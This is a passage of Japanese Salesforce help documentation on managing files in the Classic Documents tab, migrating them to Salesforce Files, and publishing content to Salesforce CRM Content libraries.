Lightning Experience に移行すると、Salesforce Classic の [ドキュメント] タブに保存したファイルについて疑問が
持ち上がることがあります。

ドキュメントライブラリの概要

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ドキュメントライブラリに保存されている各ドキュメントはフォルダにありま
す。フォルダの属性によって、フォルダおよびフォルダ内のドキュメントに対
するアクセス許可を決定します。
ドキュメントライブラリには、レコードに添付されていないドキュメントが保
存されています。ライブラリドキュメントには [ドキュメント] タブでアクセス
します。[ドキュメント] タブが表示されていない場合は、このタブを表示するよ
うにカスタマイズします。

メモ:  [ドキュメント] タブは、Salesforce CRM Content に含まれません。

関連トピック:

ファイル、Salesforce CRM Content、Salesforce ナレッジ、ドキュメント、添付ファイルの違い
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ドキュメントホームページ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

[ドキュメント] タブを参照
する
• ドキュメントに対する

「参照」

ドキュメントを参照する
• ドキュメントに対する

「参照」

新規ドキュメントをアッ
プロードする
• ドキュメントに対する

「作成」

[ドキュメント] タブをクリックすると、ドキュメントホームページが表示されま
す。

メモ:  [ドキュメント] タブが表示されない場合、このタブを表示するように
カスタマイズできます。

• [A ドキュメントの検索] で、ドキュメントを検索するためのキーワードを入
力します。

• [ドキュメントフォルダ] セクションでフォルダを選択すると、そのフォルダ
に保存されているすべてのドキュメントが表示されます。

• [最近使ったドキュメント] には、最近参照した 10 件または 25 件のドキュメ
ントが表示されます。最後に参照したドキュメントがリストの一番上に表示
されます。このリストは、最近自分が参照した項目から作成され、自分また
は他のユーザが所有するレコードが含まれます。表示する項目数を変更する
には、[25 件表示する] と [10 件表示する] を切り替えます。

• [最近使ったドキュメント] のセクションから、[新規] をクリックすると、新
規ドキュメントをアップロードできます。

メモ:  [ドキュメント] タブは、Salesforce CRM Content に含まれません。

関連トピック:

ドキュメントのアップロードと置き換え
ドキュメントの一覧表示
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ドキュメントの一覧表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

ドキュメントを参照する
• ドキュメントに対する

「参照」

ドキュメントプロパティ
を変更する
• ドキュメントに対する

「編集」

ドキュメントを置換する
• ドキュメントに対する

「編集」

ドキュメントを削除する
• ドキュメントに対する

「削除」

[ドキュメント] リストページには、選択したフォルダ内のドキュメント一覧が表
示されます。このページからドキュメントの詳細情報を表示し、ドキュメント
に対する処理を実行できます。
• ドキュメントのプロパティを表示するには、ドキュメント名をクリックしま

す。
• ドキュメントのプロパティを編集するには、ドキュメントの横にある [編集]

をクリックします。
• [表示] をクリックして、関連付けられたアプリケーションでファイルを開き

ます。ファイルの種別が認識されない場合や、そのアプリケーションが使用
中のコンピュータに読み込まれていない場合には、Salesforce によって、保存
オプションの選択を促す標準のダウンロードダイアログが表示されます。

• フォルダに保存されているドキュメントの一覧を表示するには、そのフォル
ダを選択します。

• 列の情報を使用してドキュメントを昇順または昇順に並び替えるには、その
列の見出しをクリックします。

• リストの上にある文字をクリックすると、並び替えた列のその文字で始まる
行が表示されます。

• 次のページまたは前のページに移動するには、[次のページ]または[前のペー
ジ] をクリックします。

• 表示件数を変更するには、ドキュメント一覧の下部にある[減らす]または[さ
らに表示] をクリックします。

• 現在のリストビューを印刷できる形式で表示するには、[印刷用に表示] をク
リックします。

メモ: ドキュメントが見つからない場合は、そのドキュメントが保存されているフォルダへのアクセス権
がない可能性があります。

関連トピック:

ドキュメント著者の変更
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ドキュメントのアップロードと置き換え

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

新規ドキュメントをアッ
プロードする
• ドキュメントに対する

「作成」

ドキュメントを置換する
• ドキュメントに対する

「編集」

新規ドキュメントのアップロード
ドキュメントをアップロードする手順は、次のとおりです。
1. [ドキュメント] タブから [新規ドキュメント] をクリックするか、ドキュメン

トのホームページから [最近使ったドキュメント]の横にある [新規]をクリッ
クします。[新規ドキュメント] オプションが表示されていない場合は、自分
が適切な権限を持っているか確認してください。

2. [新規ドキュメントのアップロード] ページで内容を説明する [ドキュメント
名]を指定します。ファイル名を使用する場合には、この項目は空白のまま
にします。このファイル名は、ファイルのアップロード時に自動的に表示さ
れます。

3. 「アプリケーションのカスタマイズ」権限を持つユーザは、API および管理
パッケージで使用する一意の名前を入力します。

4. 次のいずれかをオンにできます。
• ドキュメントが社内向けであることを示す: オンにした場合、ドキュメント

の閲覧者が組織外でファイルを共有してはならないことを示すフラグが
ドキュメントに追加されます。

メモ: このボックスをオンにしてもセキュリティルールは明示的に適用されません。

• 外部参照可  - ドキュメントがロゴなどの画像の場合、機密ドキュメントではありません。次の操作を行
う場合はこのボックスをオンにします。
– Salesforce ユーザ名およびパスワードを必要とせず、HTML メールテンプレートの画像を使用できるよ

うにする
– その画像を、参照に Salesforce ユーザ名やパスワードを必要とするカスタムタブアイコンやカスタム

アプリケーションのロゴとして使用する
– 画像をカスタムロゴとしてミーティングのお願いに表示させる

[ドキュメントが社内向けであることを示す] と [外部参照可] のチェックボックスはどちらか 1 つのみを選
択でき、両方を選択することはできません。

5. ドキュメントのフォルダを選択します。
6. 検索条件に使用する説明を入力します。
7. 今後検索条件に使用するキーワードを入力します。
8. ドキュメントまたはパスのオプションを選択します。

• ドキュメントをアップロードするには、[参照]をクリックしてファイルを選択してから、[開く]をクリッ
クします。

• ドキュメントへのリンクを保存するには、ドキュメントの場所を入力します。パスとファイル名または
URL を C:\Quotes\quote.doc や \\Server\Departments\Marketing\logo.doc または
http://www.salesforce.com の形式で入力します。
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9. [保存] をクリックします。

ドキュメントの置換
ドキュメントを更新バージョンと置き換える手順は、次のとおりです。
1. 置き換えるドキュメントを表示します。ドキュメントライブラリからドキュメントを検索する方法は、「ド

キュメントの検索」を参照してください。
2. [ドキュメントの置き換え] をクリックします。
3. ドキュメントまたはパスのオプションを選択します。

• ドキュメントを置き換えるには、[参照] をクリックしてファイルを選択してから、[開く] をクリックし
ます。

• 置き換えたドキュメントへのリンクを保存するには、置き換えた場所を入力します。パスとファイル名
または URL を C:\Quotes\quote.doc や \\Server\Departments\Marketing\logo.doc または
http://www.salesforce.com の形式で入力します。

4. [ドキュメントの置き換え] をクリックします。

ドキュメントのアップロードまたは置換のヒント
• リンクとして保存されたドキュメントは、メールには添付できませんが、ドキュメントライブラリの領域

の節約になります。
• システム管理者がドキュメントの内容の検索を可能にした場合、Salesforce ではドキュメントの全文検索も

実行されます。新しいドキュメントのアップロードまたは古いドキュメントの置換が行われると、その内
容を検索に使用できます。

• Salesforce では、最新のアップロード日付が変更日付として保存されます。
• 拡張子を含めてファイル名が 255 文字以内のドキュメントをアップロードできます。
• アップロードするドキュメントの容量制限は 5 MBです。カスタムアプリケーションロゴの最大サイズは 20

KB です。
• 組織のファイルストレージ使用量には、ドキュメントライブラリに保存されているすべてのファイルが含

まれます。
• 組織で [HTML で添付ファイルまたはドキュメントレコードとしてアップロードすることを許可しない]セキュ

リティ設定が有効になっている場合
は、.htm、.html、.htt、.htx、.mhtm、.mhtml、.shtm、.shtml、.acgi、.svgの拡張子を持つファ
イルのアップロードはできません。

関連トピック:

ドキュメントプロパティの表示と編集
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ドキュメントの検索

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

ドキュメントを参照する
• ドキュメントに対する

「参照」

特定のドキュメントを検索するには、ドキュメントのホームページにある [ド
キュメントの検索] ボタンを使用します。
1. [ドキュメント] タブをクリックします。
2. 検索語を入力します。Salesforce では、次の項目を検索します。

• ドキュメント名
• キーワード
• 説明

3. [ドキュメントの検索] をクリックします。
検索により、すべての検索語と一致するドキュメントが一覧表示されます。
検索結果は、一致率の高い順に一覧表示されます。一致率の高さを判定する
ために、[キーワード] および [ドキュメント名] 項目が使用されます。表示
される項目は事前に定義されているもので、変更はできません。

ヒント: 語句を指定したとおりの語順で検索するには、語句を引用符で囲みます。たとえば、「my

logos」を検索すると、項目に完全一致する語句が含まれるドキュメントと、項目または内容に「my」
と「logos」が含まれるドキュメントが返されます。引用符がない場合、いずれかのキーワードが項目
または内容に含まれるドキュメントが検索結果として返されます。たとえば、「my logos」を検索する
と、項目または内容に「my」と「logos」が含まれるドキュメントが返されます。

4. 任意のドキュメントを選択して、そのドキュメントの詳細ページに直接移動するか、[表示] をクリックし
て、新規ウィンドウでドキュメントを開きます。

システム管理者がドキュメントの内容の検索を可能にした場合、Salesforceではドキュメントの全文検索も実行
されます。新しいドキュメントのアップロードまたは古いドキュメントの置換が行われると、その内容を検索
に使用できます。

メモ: Salesforceドキュメントの内容が検索可能かどうか自動的に指定します。[ドキュメントコンテンツ検
索可能]プロパティがオンになっている場合、内容は正常に処理され、検索できます。ドキュメントが大
きい場合、Salesforce でドキュメントの内容を検索し、[ドキュメントコンテンツ検索可能] プロパティを
マークするまで、数分かかる場合があります。

また、グローバル検索を使用してドキュメントを検索することもできます。
1. ヘッダーの検索ボックスに検索語を入力します。
2. ドロップダウンから [検索オプション...] を選択し、[ドキュメント] を選択して検索結果を絞り込みます。
3. [検索] をクリックします。
ドキュメントの内容の検索では、次の種類のファイルがサポートされています。

メモ: 最大サイズを超えるドキュメントの内容は検索できません。ただし、ドキュメント項目は検索され
ます。最初の 100 万文字のみが検索されます。この制限以降のテキストは検索に含まれません。
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最大サイズファイル拡張子ファイルの種類

5 MB.htm、.html、.xhtmlHTML (<body> タグ内のテキストの
み)

25 MB.pdfPDF

25 MB.pot、.pps、.pptPPT

5 MB.rtfRTF

5 MB.c、.cpp、.css.csv、.ini、.java、.log、.sql、.txtテキスト
25 MB.doc、.dotWord

5 MB、または最大 100,000 セル.xls、.xltXLS

5 MB.xmlXML

一部のドキュメントが検索されない場合があります。その具体的な内容は次のとおりです。
• ファイル拡張子が別の形式に変更された場合、両方の拡張子が有効な場合でも検索されません。たとえ

ば、.rtf に変更された .txt ファイルは検索されません。
• PDF ドキュメントおよび Word ドキュメントには、検索できないセキュリティ制限が設定されている場合が

あります。内容を検索できるようにするには、ドキュメント作成時、ファイルの「内容の抽出」プロパティ
を「有効」に設定する必要があります。

関連トピック:

コンテンツの検索
ファイルの検索

3826

ファイルの作成、共有、および整理すべてのユーザとのコラボレーション



ドキュメントの削除

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

ドキュメントを削除する
• ドキュメントに対する

「削除」

ドキュメントを元に戻す
• ドキュメントに対する

「削除」

ドキュメントを削除するには、ドキュメントのリストページでドキュメントの
横にある [削除] をクリックします。または、ドキュメント詳細ページで [削除]

をクリックします。
ドキュメントを削除しても、Salesforce ではごみ箱に保存されます。ごみ箱から
[復元]をクリックすると、その期間内でドキュメントをドキュメントライブラリ
に復元できます。

メモ:

• 個人フォルダ内のドキュメントはすべて削除できますが、公開フォルダ
内のドキュメントは「公開ドキュメントの管理」権限がある場合にのみ
削除できます。

• レターヘッドまたは HTML メールテンプレートに含まれているドキュメ
ントを削除すると、レターヘッドまたはテンプレートを使用するすべて
のメールで、ドキュメントの場所に破損リンクが表示されます。破損リ
ンクを修正するには、ドキュメントをごみ箱から削除します。

• ミーティング要請でカスタムロゴとして使用されているドキュメント
は、削除できません。このドキュメントを削除するには、ロゴとして使
用する別のドキュメントを選択するか、ミーティング要請のカスタムロ
ゴを表示するオプションをオフにする必要があります。

関連トピック:

ドキュメントプロパティ

Salesforce Files へのドキュメントの移行

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

Lightning Experience に移行すると、Salesforce Classic の [ドキュメント] タブに保存し
たファイルについて疑問が持ち上がることがあります。

Salesforce Classic の [ドキュメント] タブのファイルを Lightning Experience
に表示できるか
Lightning Experience では [ドキュメント] タブを使用できませんが、ドキュメント
ファイルが消え失せることはありません。実際に、メールテンプレートなどの
いくつかの機能は継続して [ドキュメント] タブに依存します。これらのドキュ
メントを削除しないでください。ただし、この機会を利用して、作業ファイル
と画像を Salesforce Files として追加し、Lightning Experience で使用できるようにしてください。

Lightning Experience でドキュメントを操作するには
Lightning Experience では Salesforce Files を使用してファイルを管理し、ファイル上でコラボレーションします。
Salesforce Files により、さまざまなコンテンツタイプが統一され、操作性の合理化と改善が達成されます。ファ
イルは、非公開で保存したり、ライブラリとグループで共有したり、バージョン履歴で更新したりすることが
できます。
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ファイルを [ドキュメント] タブから Lightning Experience に移行するには
1 回クリックするだけで移行することはできませんが、Lightning Experience とコミュニティで使用するファイル
を [ドキュメント] タブで特定したら、いくつかのオプションがあります。
1. ドキュメントをウィークリーエクスポートでエクスポートしてから、ドキュメントを Salesforce Files にアッ

プロードする。
2. Salesforce Labs の FileExporter など、サードパーティ製データエクスポートツールをAppExchangeから使用する。
3. API ベースのツールを使用する (Chatter REST API ではアセットファイルのアップロードがサポートされる)。
Salesforce Files が、Salesforce でファイルの保存、整理、共有を行う最適な方法です。Salesforce Files は引き続き改
善されて行くため、すぐにドキュメントを Salesforce Files に移行して利用を開始してください。

プロパティ

ドキュメントプロパティの表示と編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

ドキュメントに対する「参照」ドキュメントを参照する

ドキュメントに対する「編集」プロパティを更新する

ドキュメントに対する「編集」ドキュメントを置換する

ドキュメントに対する「編集」ドキュメントを移動する

ドキュメントに対する「削除」ドキュメントを削除する

ドキュメントの表示 - ドキュメントのホームページまたはリストページにドキュメントを表示した後、ドキュ
メント名をクリックして詳細情報を表示できます。
ドキュメントプロパティの編集 - ドキュメントプロパティを更新するには、[編集] をクリックします。
ドキュメントの更新 - ドキュメントを更新済みバージョンに置き換えるには、[ドキュメントの置き換え] をク
リックします。
ドキュメントのメール送信 - 取引先責任者にドキュメントをメールで送信するには、[ドキュメントのメール送
信]をクリックし、メールの詳細を入力してから、[送信]をクリックします。ドキュメントはメールの添付ファ
イルとして送信され、取引先責任者の [活動履歴] に記録されます。物理ファイルではなく URL を参照している
ドキュメントはメール送信できません。ロゴやレターヘッドなどの HTML メールテンプレートに埋め込まれて
いる画像ドキュメントは、Salesforceユーザ名とパスワードを持たないユーザが受信したメールに含まれる画像
ドキュメントを参照できるように、[ドキュメント] タブでそのドキュメントが [外部参照可] に設定されてい
ることを確認します。
[ドキュメントの検索] - ドキュメントを検索するためのキーワードを入力し、[ドキュメントの検索]をクリック
します。検索条件に一致するドキュメントの一覧が表示されます。次の項目でキーワードを検索できます。
• ドキュメント名
• キーワード
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• 説明
[ドキュメントコンテンツ検索可能] がオンになっている場合、ドキュメントの内容も検索できます。
フォルダの内容の表示 - フォルダ内にあるすべてのドキュメントを表示するには、フォルダ名をクリックしま
す。
ドキュメントの移動 - ドキュメントを別のフォルダに保存するには、[編集] をクリックし、新しいフォルダを
選択してから [保存] をクリックします。

関連トピック:

ドキュメント著者の変更

ドキュメントプロパティ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

以下は、ドキュメントライブラリ内の各ドキュメントに保存されているプロパ
ティの説明です (アルファベット順)。

説明項目

ドキュメントの主な連絡先です。ド
キュメントをアップロードした人物
が、最初に著者となります。以降は、
選択したユーザを著者にすることがで
きます。

著者

ファイルを最初にアップロードした人
物の名前です。

作成者

ファイルを最後にアップロードした人
物の名前です。

更新者

該当するドキュメントを含むフォルダ
の名前です。

フォルダ

このチェックボックスは、[ドキュメン
ト] タブの [Find Document] ボタンを使

ドキュメントコンテンツ検索可能

用して、ドキュメント内の内容を検索
できるかどうかを示します。この
チェックボックスは、Salesforce により
自動的に設定されます。

拡張子を含む、該当するドキュメント
の名前です。

ドキュメント名

Force.comAPIを使用するとき、ドキュメ
ント参照に使用する一意の名前。管理

ドキュメントの一意の名前

パッケージでは、この名前により、
パッケージのインストール時に名前が
競合することを防ぎます。この名前
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説明項目

は、アンダースコアと英数字のみを使用でき、組織内
で一意にする必要があります。最初は文字であるこ
と、空白は使用しない、最後にアンダースコアを使用
しない、2 つ続けてアンダースコアを使用しないとい
う制約があります。この項目を使用すると、開発者は
管理パッケージで特定のコンポーネントの名前または
タイトルを変更できます。この変更は、登録者の組織
に反映されます。

該当するドキュメントを他のドキュメントと区別する
ための説明です。

説明

ドキュメントの閲覧者が組織外でファイルを共有して
はならないことを示すフラグをドキュメントに追加す

ドキュメントが社内向けであることを示す

るチェックボックスです。このボックスをオンにして
もセキュリティルールは明示的に適用されません。
[Indicate Document is Internal] と
[Externally Available Image] のチェックボッ
クスはどちらか 1 つのみを選択でき、両方を選択する
ことはできません。

このドキュメントがロゴやレターヘッドなどの HTML

メールテンプレートに埋め込むことのできる画像かど
外部参照可

うか、この画像が埋め込まれたメールを参照するのに
Salesforceユーザ名やパスワードを必要としないかを示
すチェックボックスです。
このチェックボックスは、そのドキュメントが、参照
するのにSalesforceユーザ名やパスワードが必要なカス
タムアプリケーションのロゴやカスタムタブアイコン
として使用される画像かどうかを示します。
[Indicate Document is Internal] と
[Externally Available Image] のチェックボッ
クスはどちらか 1 つのみを選択でき、両方を選択する
ことはできません。

ドキュメントを説明するための 1 つ以上の語を含む
オープンテキスト項目です。検索時には、プログラム
によってこの項目で一致するものが検索されます。

キーワード

ドキュメントをアップロードする代わりに、ドキュメ
ントへのリンクを作成する場合には、このパスが
[Document Name]の代わりに保存されます。

パス

ドキュメントのサイズをバイトで表したものです。サイズ
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説明項目

ファイルの種類は、拡張子によって決まります。たと
えば、ファイル名.ppt は PowerPoint のファイルとして

種類

認識されます。組織で [HTML で添付ファイルまたは
ドキュメントレコードとしてアップロードすることを許
可しない]セキュリティ設定が有効になっている場合
は、.htm、.html、.htt、.htx、.mhtm、.mhtml、.shtm、.shtml、.acgi、.svg
の拡張子を持つファイルのアップロードはできませ
ん。

関連トピック:

ドキュメント著者の変更

ドキュメント著者の変更

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

ドキュメントを変更する
• ドキュメントに対する

「編集」

ドキュメントは、ユーザアクセスを抑制するフォルダに保存されるため、ドキュ
メントには他のレコードタイプのような所有者はありませんが、著者がありま
す。著者は、ドキュメントファイルを最初にアップロードしたユーザを表しま
す。
ドキュメントの著者を変更する手順は、次のとおりです。
1. 著者を変更するドキュメントを表示します。
2. [著者] 項目の横にある [変更] をクリックします。

[変更]リンクは詳細ページでのみ表示され、編集ページでは表示されません。
[変更] リンクが表示されない場合は、ドキュメント著者を変更するための権
限が不足している可能性があります。

3. 新しい著者名を入力します。または、ルックアップアイコンをクリックして
ユーザのリストから選択します。

4. 新しい著者にこの変更を通知する場合は、[メールで通知する]チェックボッ
クスをオンにします。

メモ: ドキュメントの著者を変更しても、Salesforceによって、ドキュメントの利用者が変更されることは
ありません。

関連トピック:

ドキュメントプロパティの表示と編集
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Salesforce CRM Content

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

組織内のあらゆる種類のファイルを整理、共有、検索、管理します。

Salesforce CRM Content の概要
Salesforce CRM Content を使用して、組織内や Salesforce の主要な領域内でコンテ
ンツを整理、共有、検索、管理します。コンテンツには、Microsoft® PowerPoint

プレゼンテーションなどの従来のビジネス文書から、音声ファイル、動画
ファイル、Web ページ、Google® Docs まで、あらゆる種類のファイルが含まれ
ます。
ライブラリの表示と編集
ライブラリの管理

Salesforce CRM Content の概要

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce CRM Content を使用して、組織内や Salesforce の主要な領域内でコンテン
ツを整理、共有、検索、管理します。コンテンツには、Microsoft® PowerPoint プレ
ゼンテーションなどの従来のビジネス文書から、音声ファイル、動画ファイル、
Web ページ、Google® Docs まで、あらゆる種類のファイルが含まれます。
Salesforce のファイルのさまざまな使用方法についての詳細は、「ファイル、
Salesforce CRM Content、Salesforce ナレッジ、ドキュメント、添付ファイルの違い」
を参照してください。
Salesforce CRM Content は、以下の作業を使い勝手のよい機能で行うことによりコ
ンテンツ管理を簡略化します。
整理

フォルダにファイルを保管するとコンテンツを検索しにくくなるため、
Salesforce CRM Content では、完全検索が可能なライブラリと呼ばれるファイル
リポジトリに保存します。システム管理者は、部署名、職務、チームなどの
分類に基づいて複数のライブラリを作成し、ライブラリ内のコンテンツに対するユーザ権限を設定してセ
キュリティを確保します。著者は、タグと呼ばれる説明ラベルを割り当てて、ライブラリにとらわれない
コンテンツの分類と整理に役立てます。それにより、特定のタグに属するすべてのコンテンツのリストや
1 つ以上のタグに基づく条件検索結果を表示できます。Salesforce CRM Contentには、非公開ライブラリも用意
されています。これにより、デスクトップ上の乱雑さを軽減できると同時に、ドキュメントの検索やバー
ジョン管理などのコンテンツ管理機能を使用できます。

検索
強力な Salesforce CRM Content の検索エンジンが、タイトル、説明、タグ、カテゴリデータ、著者名などのコ
ンテンツプロパティに加えて、ドキュメントの本文全体をスキャンします。主要コンテンツ、ファイル形
式、著者、タグ、ライブラリ、カスタム項目によって検索対象を絞り込み、結果をさまざまな詳細レベル
で表示できるため、関連コンテンツをすばやく簡単に見つけることができます。組織でChatterが有効になっ
ている場合、Chatter ファイル別に検索結果を絞り込むこともできます。ダウンロード、コメント、評価、
および登録者を表す「スマートバー」グラフィックで、検索結果内のドキュメントを比較できます。
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登録
ファイルの確認後、そのファイルを登録しておくと、新バージョンが公開されたときやそのファイルのプ
ロパティに変更が加えられたときにメール通知を確実に受信できます。また、著者、タグ、およびライブ
ラリを登録することによって、新しいコンテンツや更新されたコンテンツの検索にかかる時間を短縮でき
ます。通知メールは、設定に応じてリアルタイムまたは 1 日に 1 回受信します。

プレビュー
Salesforce CRM Content では、ドキュメントの内容が適しているものかどうかを判断するためにサイズの大き
いドキュメントをダウンロードする必要がありません。コンテンツの詳細ページを使用して、ドキュメン
トのタイトル、著者、説明、タグ、ライブラリ、コメント、投票数、バージョン、登録者、ダウンロード
数などのドキュメントの詳細を表示できます。ドキュメントが Microsoft PowerPoint、Word、Excel、または
Adobe® PDF ファイルである場合、そのドキュメントをダウンロードすることなく、ブラウザでファイル全体
をプレビューすることができます。ファイルの一定の側面がプレビューに表示されないことがあります。
著作権で保護されている PDF はプレビューできません。

寄稿
Salesforce CRM Content では、新規または修正ファイルを迅速かつ簡単にアップロードできます。ファイルま
たは Web リンクのアップロード処理時に、ライブラリとレコードタイプの選択、説明の記述、タグの割り
当て、カスタム項目の入力を行い、コンテンツを分類および定義します。バージョン管理のためにファイ
ルのチェックインやチェックアウトを確認する必要はなく、新バージョンをアップロードするだけで、
Salesforce CRM Content がコンテンツの詳細ページからアクセス可能なバージョンリストを保持します。ファ
イルの過去のバージョンのダウンロードや、著者が新バージョンに記述した変更理由コメントを読むこと
ができます。

使用状況のレビューとフィードバックの提供
Salesforce CRM Content は、コンテンツが読み手にとって価値があるかどうかを判断するための方法をいくつ
か提供しています。コンテンツの主要マークを使用することで、検索結果が見やすくなります。ファイル、
Web リンク、または Google ドキュメントに対して賛成または反対投票を行い、コメントを追加することに
より、コンテンツの改善に直接参加できます。ファイル、リンク、またはドキュメントを登録したユーザ
やそれらのファイルがダウンロードされた回数を参照することもできます。[レポート] タブでは、Salesforce

CRM Content データに関する標準レポートやカスタムレポートを作成できます。コンテンツ配信機能が有効
になっている場合は、コンテンツを同僚、リード、取引先責任者に送信して、そのコンテンツがプレビュー
またはダウンロードされた回数を追跡できます。

Salesforce でのコンテンツ共有
Salesforce CRM Content は、リード、取引先、取引先責任者、商談、ケース、商品、およびカスタムオブジェ
クトと統合できます。たとえば、Salesforce CRM Content 機能が [商談] タブで利用可能であれば、商談の詳細
ページにある項目を使用して、その商談と関連のあるファイルを検索できます。必要に応じて、検索結果
を掘り下げるか、さらに検索を実行して、ファイルをその商談に添付できます。それにより詳細ページよ
りファイルの最新版を利用できます。
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Salesforce Classic Mobile でのコンテンツ共有
Salesforce CRM Content は、Salesforce Classic Mobile で使用できます。ユーザは自分のデスクから離れているとき
に、モバイルアプリケーションから顧客や同僚とコンテンツを共有できます。システム管理者にモバイル
コンテンツを設定するように依頼してください。

関連トピック:

ファイル、Salesforce CRM Content、Salesforce ナレッジ、ドキュメント、添付ファイルの違い

コンテンツの寄稿

ファイルをライブラリに公開

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

公開ライブラリにファイ
ルをアップロードおよび
公開する
• ライブラリ権限定義の

「ライブラリの管理」

または

ライブラリ権限定義の
「コンテンツの追加」

ファイルを非公開ライブ
ラリにアップロードして
保存する
• なし

ファイルをライブラリに公開する場合は、コンピュータからファイルをアップ
ロードする、非公開ライブラリのファイルを共有ライブラリに寄稿する、Chatter

のファイルを共有するのいずれかの方法で行います。
1. [ライブラリ] タブで、次のいずれかの操作を実行します。

• ファイルをアップロードするには、[寄稿]をクリックして、ローカルドラ
イブからファイルを選択します。

• 非公開ライブラリのファイルを公開するには、[私の非公開ファイル]タブ
をクリックし、1 つ以上のファイルを選択して [選択済みのものを公開]を
クリックします。

Chatter のファイルをライブラリと共有する場合は、「Salesforce Classic のライブ
ラリとのファイルの共有」 (ページ3789)を参照してください (以下のステップ
は省略)。

2. 各ファイルのタイトルを入力します。必要に応じて、説明を入力します。
3. 上記のステップでアップロードした新しいファイルを追加している場合は、

[私の非公開ライブラリに保存] または [共有ライブラリに公開] のいずれかを
選択します。後者を選択する場合は、ライブラリを選択します。これが管理
(ホーム) ライブラリとなります。別のライブラリとコンテンツを共有するこ
とはできますが、管理ライブラリで著者権限を持つユーザのみコンテンツを
変更できます。

4. 必要に応じて、言語を選択します。この [言語] ドロップダウンリストは、
複数言語のサポートが有効である場合にのみ表示されます。言語を選択しな
い場合、Salesforce ではコンテンツを公開者の言語設定と関連付けます。ユー
ザがコンテンツの検索対象を特定言語に制限した場合は、その言語と関連付
けられているコンテンツのみが検索結果に表示されます。

5. 別の著者に代わってコンテンツを公開する場合は、ドロップダウンリストか
らその著者を選択します。

6. コンテンツにタグを付けます。タギング権限は、ライブラリに割り当てられているタギングルールによっ
て異なります。
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ライブラリにタギングルールがない場合や、管理者がオープンタギングルールを割り当てた場合は、
[タグ] 項目にタグを入力できます。タグを入力すると、Salesforce CRM Content によって、[私の最近のタ

•

グ] リストと、[ライブラリ] タブの [人気のあるタグ] セクションに基づいてタグのオートコンプリート機
能が実行されます。[寄稿] ウィンドウの [私の最近のタグ] リストに、最近使用した 20 個のタグが表示さ
れます。タグをクリックすると、そのタグが [タグ] 項目に自動的に追加されます。

• 管理者が、ガイド付きタギングルールを割り当てた場合は、推奨タグのリストから選択することも、新
しいタグを入力することもできます。推奨タグをクリックすると、そのタグが [タグ] 項目に自動的に
追加されます。

• 管理者が制限付きタギングルールを割り当てた場合は、推奨タグのリストから選択する必要がありま
す。タグを選択すると、そのタグが緑色に変わります。

• タグ名の変更も削除もできません。ドキュメントからタグを除外できますが、タグは削除されません。
• タグでは、大文字小文字は区別されません。大文字と小文字が異なる場合でも、2 つのタグに同じ名前

を付けることはできません。元のタグの大文字・小文字が常に使用されます。

7. 複数のレコードタイプが使用できる場合は、ドロップダウンリストから 1 つ選択します。レコードタイプ
によって、コンテンツを分類および定義するために表示されるカスタム項目が決まります。

8. カスタム項目への入力が完了したら、[公開] または [保存] をクリックします。

メモ:

• 新しいバージョンをアップロードする場合、ファイルの最初のバージョンに設定されたカスタム項目
の一意の値は含まれません。新しいバージョンに一意の値を設定できるのは、それらの値が前のバー
ジョンと異なる場合のみです。

• 共有ライブラリに公開されたファイルは [ファイル] タブに追加され、組織内の他の Chatter ユーザはこ
れらのファイルを使用できるようになります。非公開ライブラリに公開されたファイルは [ファイル]

タブに追加されますが、非公開になり、他の人とは共有されません。Salesforce のさまざまなファイル
ツールとソリューションについての詳細は、「ファイル、Salesforce CRM Content、Salesforce ナレッジ、
ドキュメント、添付ファイルの違い」を参照してください。

• Contact Manager Edition、Group Edition、Professional Edition、Enterprise Edition、Unlimited Edition、およびPerformance

Edition を使用するお客様は、24 時間につき最大で36,000件の新しいバージョンを公開できます。Developer

Edition とトライアル版のお客様は、24 時間につき最大で 2,500件の新しいバージョンを公開できます。

関連トピック:

コンテンツのバージョンの更新
Salesforce CRM Content のコンテンツパックの作成および変更
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コンテンツのアップロードと公開

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ファイルと Web リンクを
アップロードおよび公開
する
• ライブラリ権限定義の

「ライブラリの管理」

または

ライブラリ権限定義の
「コンテンツの追加」

Google ドキュメントを公
開する
• Google Apps アカウン

ト

ファイルをライブラリに追加すると、Salesforce CRM Content の権限設定とコンテ
ンツ配信機能を活用できます。
ページ上部の [ライブラリ] タブには、複数の公開関連オプションがあり、Salesforce

CRM Content のファイル、コンテンツパック、Web リンク、および Google ドキュ
メントをアップロード、分類、および公開できます。

メモ: [ライブラリ] タブの [Google ドキュメントの追加] ボタンは、Salesforce

システム管理者が [Google ドキュメントを Salesforce に追加] サービスを有効
にしている場合にのみ表示されます。

Salesforce CRM Content にファイル、Web リンク、および Google ドキュメントを公
開する手順、またはコンテンツパックを作成する手順については、次のトピッ
クを参照してください。
• ファイルをライブラリに公開
• Salesforce CRM Content への Web リンクの寄稿
